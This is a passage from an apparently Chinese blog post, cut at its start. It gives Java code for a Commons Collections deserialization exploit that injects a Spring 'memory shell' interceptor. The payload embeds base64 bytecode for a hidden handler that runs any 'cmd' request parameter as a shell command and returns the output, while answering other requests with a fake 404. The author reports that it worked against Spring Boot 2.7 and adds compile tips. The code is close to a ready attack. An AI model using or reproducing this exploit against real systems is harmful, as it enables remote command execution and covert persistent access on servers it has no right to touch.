String s="yv66vgAAADQAwgoAMABQCgBRAFIIAFMLAFQAVQcAVggAVwsABQBYBwBZBwBaCABbCgBcAF0KAF4AXwoAXgBgBwBhBwBiCABjCgAPAGQKAA4AZQgAZgsAZwBoCABpCgBqAGsKABoAbAgAbQoAGgBuBwBvCABwCABxCAByCABzCgB0AHUKAHQAdgoAdwB4BwB5CgAiAHoIAHsKACIAfAoAIgB9CgAiAH4IAH8LAIAAgQoAggCDCgCCAIQKAIIAhQgAhgsAMQCHCwAxAIgHAIkHAIoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAiwcAjAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAjQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbwcAjgcAjwcAeQcAYgcAkAcAkQcAkgcAkwEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAApTb3VyY2VGaWxlAQAYTWVtU2hlbGxJbnRlcmNlcHRvci5qYXZhDAAyADMHAJQMAJUAlgEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAlwwAmACZAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDACaAJsBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwCcDACdAJ4HAJ8MAKAAoQwAogCjAQATamF2YS91dGlsL0FycmF5TGlzdAEAE01lbVNoZWxsSW50ZXJjZXB0b3IBAANhYWEMADIAOQwApAClAQADY21kBwCQDACmAKcBAAdvcy5uYW1lBwCoDACpAKcMAKoAqwEAA3dpbgwArACtAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEAAnNoAQACLWMHAK4MAK8AsAwAsQCyBwCzDAC0ALUBABFqYXZhL3V0aWwvU2Nhbm5lcgwAMgC2AQACXEEMALcAuAwAuQC6DAC7AKsBAAAHAJEMALwAvQcAvgwAvwA5DADAADMMAMEAMwEAEjQwNCBQYWdlIE5vdCBmb3VuZAwASgBLDABMAE0BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAyb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3IBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAA2FkZAEAFShMamF2YS9sYW5nL09iamVjdDspWgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BAAVmbHVzaAEABWNsb3NlACEADwAwAAEAMQAAAAcAAQAyADMAAgA0AAAAggADAAYAAABKKrcAAbgAAhIDA7kABAMAwAAFTCsSBrkABwIAwAAITRIJEgq2AAtOLQS2AAwtLLYADcAADjoEuwAPWRIQtwAROgUZBBkFtgASV7EAAAABADUAAAAmAAkAAAAVAAQAFgATABcAHwAYACcAGQAsABoANgAcAEEAHQBJACAANgAAAAYAAgA3ADgAAQAyADkAAQA0AAAAHQABAAIAAAAFKrcAAbEAAAABADUAAAAGAAEAAAAhAAEAOgA7AAIANAAAABkAAAADAAAAAbEAAAABADUAAAAGAAEAAAAnADYAAAAEAAEAPAABADoAPQACADQAAAAZAAAABAAAAAGxAAAAAQA1AAAABgABAAAALAA2AAAABAABADwAAQA+AD8AAgA0AAABaAAEAAwAAADGKxITuQAUAgA6BBkExgCfAzYFEhW4ABY6BhkGxgATGQa2ABcSGLYAGZkABgQ2BRUFmQAZBr0AGlkDEhtTWQQSHFNZBRkEU6cAFga9ABpZAxIdU1kEEh5TWQUZBFM6B7gAHxkHtgAgtgAhOgi7ACJZGQi3ACMSJLYAJToJGQm2ACaZAAsZCbYAJ6cABRIoOgosuQApAQA6CxkLGQq2ACoZC7YAKxkLtgAspwAcLLkAKQEAOgUZBRIttgAqGQW2ACsZBbYALASsAAAAAgA1AAAAUgAUAAAALwAKADAADwAxABIAMgAZADMAKwA0AC4ANgBeADcAawA4AHsAOQCPADoAlwA7AJ4APACjAD0AqAA+AKsAQACzAEEAugBCAL8AQwDEAEUAQAAAADgAB/4ALgcAQQEHAEEaUgcAQv4ALgcAQgcAQwcAREEHAEH/AB0ABQcARQcARgcARwcASAcAQQAAGAA2AAAABAABAEkAAQBKAEsAAgA0AAAAJgAFAAUAAAAKKissLRkEtwAusQAAAAEANQAAAAoAAgAAAEsACQBMADYAAAAEAAEASQABAEwATQACADQAAAAmAAUABQAAAAoqKywtGQS3AC+xAAAAAQA1AAAACgACAAAAUAAJAFEANgAAAAQAAQBJAAEATgAAAAIATw==";
byte[] bytes=Base64.getDecoder().decode(s);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map< Object, Object > map = new HashMap<>();
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
map.put("value", "aiwin");
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//未声明public,要反射调用
Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); //调用实例化方法
constructor.setAccessible(true);
Object result = constructor.newInstance(Target.class, transformedMap); //Target中存在value方法, 因此map中键值为Value
byte[] serialize=serialize(result);
System.out.println(Base64.getEncoder().encodeToString(serialize));
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
发送生成的payload,是成功的,实测了一下springboot2.7
版本,这个interceptor
和springboot>2.6内存马
都是成功的。
踩坑
这里内存马都要拖出去编译,这里搞了挺久的,主要是jar包
没找对,用javac -cp
指定jar
包编译即可,主要是为了package
,因为存在package
打过去会因为上面的package
从而产生报错。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!